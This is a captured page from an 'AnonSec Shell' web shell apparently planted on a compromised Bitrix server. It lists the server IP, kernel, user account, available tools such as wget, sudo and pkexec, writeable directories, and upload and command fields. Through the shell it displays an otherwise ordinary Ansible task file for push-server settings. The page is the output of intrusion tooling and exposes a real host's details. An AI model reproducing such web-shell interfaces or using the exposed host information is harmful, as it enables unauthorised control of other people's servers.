AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.116.8.148
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/978/root/etc/ansible/roles/push-server/tasks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/978/root/etc/ansible/roles/push-server/tasks/sites-add_push_server_settings.yml
---
- include: sites-gathering_facts-not_mandatory.yml

# create  push settings from template
- name: create push settings
  template: 
    src: push-settings.php.j2
    dest: /tmp/push-settings.php
  delegate_to: "{{ cluster_web_server }}"
  when: proccess_sites

# delete settings if exists
- name: delete site configs
  with_items: "{{ bx_sites_info }}"
  delegate_to: "{{ cluster_web_server }}"
  when: proccess_sites
  bx_blockinfile: 
    insertafter='BEGIN GENERATED PUSH SETTINGS'
    insertbefore='END GENERATED PUSH SETTINGS' state=delete
    dest="{{ item.DocumentRoot }}/bitrix/.settings.php"

# add template data to the site config
- name: create site configs
  with_items: "{{ bx_sites_info }}"
  delegate_to: "{{ cluster_web_server }}"
  when: proccess_sites
  bx_blockinfile: from_file=/tmp/push-settings.php 
    insertafter='return array' 
    dest="{{ item.DocumentRoot }}/bitrix/.settings.php"

- name: change access rights
  file:
    owner: bitrix
    group: bitrix
    mode: 0640 
    path: "{{ item.DocumentRoot }}/bitrix/.settings.php"
  delegate_to: "{{ cluster_web_server }}"
  with_items: "{{ bx_sites_info }}"
  when: proccess_sites

Anon7 - 2022
AnonSec Team